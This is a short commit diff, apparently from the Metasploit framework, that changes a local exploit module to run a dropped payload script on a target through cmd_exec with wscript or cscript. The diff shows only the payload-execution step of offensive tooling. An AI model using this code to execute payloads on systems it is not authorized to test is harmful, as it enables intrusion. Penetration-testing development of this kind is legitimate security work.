Use cmd_exec
parent
31b7ef49d6
commit
7ccc86d338
|
@ -230,9 +230,9 @@ class Metasploit4 < Msf::Exploit::Local
|
|||
# Error handling for process.execute() can throw a RequestError in send_request.
|
||||
begin
|
||||
unless datastore['EXE::Custom']
|
||||
session.shell_command_token(script_on_target)
|
||||
cmd_exec("wscript \"#{script_on_target}\"")
|
||||
else
|
||||
session.shell_command_token("cscript \"#{script_on_target}\"")
|
||||
cmd_exec("cscript \"#{script_on_target}\"")
|
||||
end
|
||||
rescue
|
||||
print_error("Failed to execute payload on target")
|
||||
|
|
Loading…
Reference in New Issue